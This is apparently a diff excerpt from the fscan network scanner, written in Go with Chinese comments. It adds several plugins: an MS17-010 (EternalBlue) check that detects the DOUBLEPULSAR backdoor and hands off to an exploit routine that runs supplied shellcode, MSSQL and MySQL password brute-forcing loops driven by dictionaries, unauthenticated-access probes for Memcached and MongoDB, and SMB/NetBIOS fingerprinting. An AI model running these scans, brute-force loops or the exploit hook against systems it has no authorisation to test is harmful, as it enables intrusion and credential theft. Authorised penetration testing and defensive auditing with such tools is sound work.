if _, err = conn.Write(sessionSetupRequest); err != nil {
return err
}
// 读取响应
n, err := conn.Read(reply)
if err != nil || n < 36 {
return err
}
// 检查会话响应状态
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return errors.New("无法确定目标是否存在漏洞")
}
// 提取操作系统信息
var os string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip)
} else {
// 查找Unicode字符串结束标记(两个连续的0字节)
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
os = strings.Replace(os, string([]byte{0x00}), "", -1)
break
}
}
}
}
// 获取用户ID
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
// 发送树连接请求
if _, err = conn.Write(treeConnectRequest); err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
// 获取树ID并设置后续请求
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
// 发送命名管道请求
if _, err = conn.Write(transNamedPipeRequest); err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
// 检查漏洞状态
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
// 目标存在MS17-010漏洞
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os))
// 如果指定了shellcode,执行漏洞利用
defer func() {
if Common.SC != "" {
MS17010EXP(info)
}
}()
// 检测DOUBLEPULSAR后门
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if reply[34] == 0x51 {
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip))
}
} else {
// 未检测到漏洞,仅输出系统信息
Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os))
}
return err
}
+81
View File
@@ -0,0 +1,81 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MssqlScan 执行MSSQL服务扫描
func MssqlScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试用户名密码组合
for _, user := range Common.Userdict["mssql"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MssqlConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mssql"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// MssqlConn 尝试MSSQL连接
func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
"server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v",
host, username, password, port, timeout,
)
// 建立数据库连接
db, err := sql.Open("mssql", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
// 连接成功
result := fmt.Sprintf("[+] MSSQL %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}
+48
View File
@@ -0,0 +1,48 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MemcachedScan 检测Memcached未授权访问
func MemcachedScan(info *Common.HostInfo) error {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
timeout := time.Duration(Common.Timeout) * time.Second
// 建立TCP连接
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout)
if err != nil {
return err
}
defer client.Close()
// 设置超时时间
if err := client.SetDeadline(time.Now().Add(timeout)); err != nil {
return err
}
// 发送stats命令
if _, err := client.Write([]byte("stats\n")); err != nil {
return err
}
// 读取响应
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err != nil {
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
Common.LogError(errlog)
return err
}
// 检查响应内容
if strings.Contains(string(rev[:n]), "STAT") {
result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost)
Common.LogSuccess(result)
}
return nil
}
+108
View File
@@ -0,0 +1,108 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MongodbScan 执行MongoDB未授权扫描
func MongodbScan(info *Common.HostInfo) error {
if Common.IsBrute {
return nil
}
_, err := MongodbUnauth(info)
if err != nil {
errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err)
Common.LogError(errlog)
}
return err
}
// MongodbUnauth 检测MongoDB未授权访问
func MongodbUnauth(info *Common.HostInfo) (bool, error) {
// MongoDB查询数据包
msgPacket := createOpMsgPacket()
queryPacket := createOpQueryPacket()
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 尝试OP_MSG查询
reply, err := checkMongoAuth(realhost, msgPacket)
if err != nil {
// 失败则尝试OP_QUERY查询
reply, err = checkMongoAuth(realhost, queryPacket)
if err != nil {
return false, err
}
}
// 检查响应结果
if strings.Contains(reply, "totalLinesWritten") {
result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost)
Common.LogSuccess(result)
return true, nil
}
return false, nil
}
// checkMongoAuth 检查MongoDB认证状态
func checkMongoAuth(address string, packet []byte) (string, error) {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return "", err
}
defer conn.Close()
// 设置超时时间
if err := conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return "", err
}
// 发送查询包
if _, err := conn.Write(packet); err != nil {
return "", err
}
// 读取响应
reply := make([]byte, 1024)
count, err := conn.Read(reply)
if err != nil {
return "", err
}
return string(reply[:count]), nil
}
// createOpMsgPacket 创建OP_MSG查询包
func createOpMsgPacket() []byte {
return []byte{
0x69, 0x00, 0x00, 0x00, // messageLength
0x39, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo
0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
0x00, 0x00, 0x00, 0x00, // flagBits
// sections db.adminCommand({getLog: "startupWarnings"})
0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
}
}
// createOpQueryPacket 创建OP_QUERY查询包
func createOpQueryPacket() []byte {
return []byte{
0x48, 0x00, 0x00, 0x00, // messageLength
0x02, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo
0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
0x00, 0x00, 0x00, 0x00, // flags
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
0x00, 0x00, 0x00, 0x00, // numberToSkip
0x01, 0x00, 0x00, 0x00, // numberToReturn
// query db.adminCommand({getLog: "startupWarnings"})
0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
}
}
+81
View File
@@ -0,0 +1,81 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MysqlScan 执行MySQL服务扫描
func MysqlScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试用户名密码组合
for _, user := range Common.Userdict["mysql"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MysqlConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mysql"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// MysqlConn 尝试MySQL连接
func MysqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
"%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",
username, password, host, port, timeout,
)
// 建立数据库连接
db, err := sql.Open("mysql", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
// 连接成功
result := fmt.Sprintf("[+] MySQL %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}
+283 -194
View File
@@ -2,259 +2,110 @@ package Plugins
import (
"bytes"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/Common"
"gopkg.in/yaml.v3"
"net"
"strconv"
"strings"
"time"
)
var (
UNIQUE_NAMES = map[string]string{
"\x00": "Workstation Service",
"\x03": "Messenger Service",
"\x06": "RAS Server Service",
"\x1F": "NetDDE Service",
"\x20": "Server Service",
"\x21": "RAS Client Service",
"\xBE": "Network Monitor Agent",
"\xBF": "Network Monitor Application",
"\x1D": "Master Browser",
"\x1B": "Domain Master Browser",
}
var errNetBIOS = errors.New("netbios error")
GROUP_NAMES = map[string]string{
"\x00": "Domain Name",
"\x1C": "Domain Controllers",
"\x1E": "Browser Service Elections",
func NetBIOS(info *Common.HostInfo) error {
netbios, _ := NetBIOS1(info)
output := netbios.String()
if len(output) > 0 {
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
Common.LogSuccess(result)
return nil
}
NetBIOS_ITEM_TYPE = map[string]string{
"\x01\x00": "NetBIOS computer name",
"\x02\x00": "NetBIOS domain name",
"\x03\x00": "DNS computer name",
"\x04\x00": "DNS domain name",
"\x05\x00": "DNS tree name",
"\x07\x00": "Time stamp",
}
)
type NbnsName struct {
unique string
group string
msg string
osversion string
return errNetBIOS
}
func NetBIOS(info *common.HostInfo) error {
nbname, err := NetBIOS1(info)
var msg, isdc string
if strings.Contains(nbname.msg, "Domain Controllers") {
isdc = "[+]DC"
}
msg += fmt.Sprintf("[*] %-15s%-5s %s\\%s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
if info.Scantype == "netbios" {
msg += "\n-------------------------------------------\n" + nbname.msg
}
if len(nbname.group) > 0 || len(nbname.unique) > 0 {
common.LogSuccess(msg)
}
return err
}
func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) {
nbname, err = GetNbnsname(info)
func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
netbios, err = GetNbnsname(info)
var payload0 []byte
if err == nil {
name := netbiosEncode(nbname.unique)
if netbios.ServerService != "" || netbios.WorkstationService != "" {
ss := netbios.ServerService
if ss == "" {
ss = netbios.WorkstationService
}
name := netbiosEncode(ss)
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
payload0 = append(payload0, name...)
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
var conn net.Conn
conn, err = Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
if err != nil {
return
}
if info.Ports == "139" && len(payload0) > 0 {
_, err1 := conn.Write(payload0)
if err1 != nil {
return
}
_, err1 = readbytes(conn)
_, err1 = ReadBytes(conn)
if err1 != nil {
return
}
}
payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00")
_, err = conn.Write(payload1)
_, err = conn.Write(NegotiateSMBv1Data1)
if err != nil {
return
}
_, err = readbytes(conn)
_, err = ReadBytes(conn)
if err != nil {
return
}
_, err = conn.Write(payload2)
_, err = conn.Write(NegotiateSMBv1Data2)
if err != nil {
return
}
ret, err := readbytes(conn)
if err != nil || len(ret) < 45 {
return
}
num1, err := bytetoint(ret[43:44][0])
var ret []byte
ret, err = ReadBytes(conn)
if err != nil {
return
}
num2, err := bytetoint(ret[44:45][0])
if err != nil {
return
}
length := num1 + num2*256
os_version := ret[47+length:]
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
msg1 := string(tmp1[:len(tmp1)-1])
nbname.osversion = msg1
index1 := strings.Index(msg1, "|")
if index1 > 0 {
nbname.osversion = nbname.osversion[:index1]
}
nbname.msg += "-------------------------------------------\n"
nbname.msg += msg1 + "\n"
start := bytes.Index(ret, []byte("NTLMSSP"))
if len(ret) < start+45 {
return
}
num1, err = bytetoint(ret[start+40 : start+41][0])
if err != nil {
return
}
num2, err = bytetoint(ret[start+41 : start+42][0])
if err != nil {
return
}
length = num1 + num2*256
num1, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}
offset, err := bytetoint(ret[start+44 : start+45][0])
if err != nil || len(ret) < start+offset+length {
return
}
index := start + offset
for index < start+offset+length {
item_type := ret[index : index+2]
num1, err = bytetoint(ret[index+2 : index+3][0])
if err != nil {
return
}
num2, err = bytetoint(ret[index+3 : index+4][0])
if err != nil {
return
}
item_length := num1 + num2*256
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
index += 4 + item_length
if string(item_type) == "\x07\x00" {
//Time stamp, 暂时不想处理
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
nbname.msg += fmt.Sprintf("%-22s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
} else if string(item_type) == "\x00\x00" {
break
} else {
nbname.msg += fmt.Sprintf("Unknown: %s\n", string(item_content))
}
}
return nbname, err
netbios2, err := ParseNTLM(ret)
JoinNetBios(&netbios, &netbios2)
return
}
func GetNbnsname(info *common.HostInfo) (nbname NbnsName, err error) {
func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
realhost := fmt.Sprintf("%s:%v", info.Host, 137)
conn, err := net.DialTimeout("udp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
realhost := fmt.Sprintf("%s:137", info.Host)
conn, err := net.DialTimeout("udp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
if err != nil {
return
}
_, err = conn.Write(senddata1)
if err != nil {
return
}
text, err := readbytes(conn)
if err != nil {
return
}
if len(text) < 57 {
return nbname, fmt.Errorf("no names available")
}
num, err := bytetoint(text[56:57][0])
if err != nil {
return
}
data := text[57:]
var msg string
for i := 0; i < num; i++ {
if len(data) < 18*i+16 {
break
}
name := string(data[18*i : 18*i+15])
flag_bit := data[18*i+15 : 18*i+16]
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
name_flags := data[18*i+16 : 18*i+18][0]
if name_flags >= 128 {
nbname.group = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
} else {
nbname.unique = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
}
} else {
msg += fmt.Sprintf("%s \n", name)
}
}
nbname.msg += msg
text, _ := ReadBytes(conn)
netbios, err = ParseNetBios(text)
return
}
func readbytes(conn net.Conn) (result []byte, err error) {
buf := make([]byte, 4096)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result = append(result, buf[0:count]...)
if count < 4096 {
break
}
}
return result, err
}
func bytetoint(text byte) (int, error) {
num1 := fmt.Sprintf("%v", text)
num, err := strconv.Atoi(num1)
@@ -276,3 +127,241 @@ func netbiosEncode(name string) (output []byte) {
}
return
}
var (
UNIQUE_NAMES = map[string]string{
"\x00": "WorkstationService",
"\x03": "Messenger Service",
"\x06": "RAS Server Service",
"\x1F": "NetDDE Service",
"\x20": "ServerService",
"\x21": "RAS Client Service",
"\xBE": "Network Monitor Agent",
"\xBF": "Network Monitor Application",
"\x1D": "Master Browser",
"\x1B": "Domain Master Browser",
}
GROUP_NAMES = map[string]string{
"\x00": "DomainName",
"\x1C": "DomainControllers",
"\x1E": "Browser Service Elections",
}
NetBIOS_ITEM_TYPE = map[string]string{
"\x01\x00": "NetBiosComputerName",
"\x02\x00": "NetBiosDomainName",
"\x03\x00": "ComputerName",
"\x04\x00": "DomainName",
"\x05\x00": "DNS tree name",
"\x07\x00": "Time stamp",
}
NegotiateSMBv1Data1 = []byte{
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
}
NegotiateSMBv1Data2 = []byte{
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
}
)
type NetBiosInfo struct {
GroupName string
WorkstationService string `yaml:"WorkstationService"`
ServerService string `yaml:"ServerService"`
DomainName string `yaml:"DomainName"`
DomainControllers string `yaml:"DomainControllers"`
ComputerName string `yaml:"ComputerName"`
OsVersion string `yaml:"OsVersion"`
NetDomainName string `yaml:"NetBiosDomainName"`
NetComputerName string `yaml:"NetBiosComputerName"`
}
func (info *NetBiosInfo) String() (output string) {
var text string
//ComputerName 信息比较全
if info.ComputerName != "" {
if !strings.Contains(info.ComputerName, ".") && info.GroupName != "" {
text = fmt.Sprintf("%s\\%s", info.GroupName, info.ComputerName)
} else {
text = info.ComputerName
}
} else {
//组信息
if info.DomainName != "" {
text += info.DomainName
text += "\\"
} else if info.NetDomainName != "" {
text += info.NetDomainName
text += "\\"
}
//机器名
if info.ServerService != "" {
text += info.ServerService
} else if info.WorkstationService != "" {
text += info.WorkstationService
} else if info.NetComputerName != "" {
text += info.NetComputerName
}
}
if text == "" {
} else if info.DomainControllers != "" {
output = fmt.Sprintf("[+] DC:%-24s", text)
} else {
output = fmt.Sprintf("%-30s", text)
}
if info.OsVersion != "" {
output += " " + info.OsVersion
}
return
}
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
if len(input) < 57 {
err = errNetBIOS
return
}
data := input[57:]
var num int
num, err = bytetoint(input[56:57][0])
if err != nil {
return
}
var msg string
for i := 0; i < num; i++ {
if len(data) < 18*i+16 {
break
}
name := string(data[18*i : 18*i+15])
flag_bit := data[18*i+15 : 18*i+16]
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
name_flags := data[18*i+16 : 18*i+18][0]
if name_flags >= 128 {
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
} else {
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
}
} else {
msg += fmt.Sprintf("%s \n", name)
}
}
if len(msg) == 0 {
err = errNetBIOS
return
}
err = yaml.Unmarshal([]byte(msg), &netbios)
if netbios.DomainName != "" {
netbios.GroupName = netbios.DomainName
}
return
}
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
if len(ret) < 47 {
err = errNetBIOS
return
}
var num1, num2 int
num1, err = bytetoint(ret[43:44][0])
if err != nil {
return
}
num2, err = bytetoint(ret[44:45][0])
if err != nil {
return
}
length := num1 + num2*256
if len(ret) < 48+length {
return
}
os_version := ret[47+length:]
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
ostext := string(tmp1[:len(tmp1)-1])
ss := strings.Split(ostext, "|")
netbios.OsVersion = ss[0]
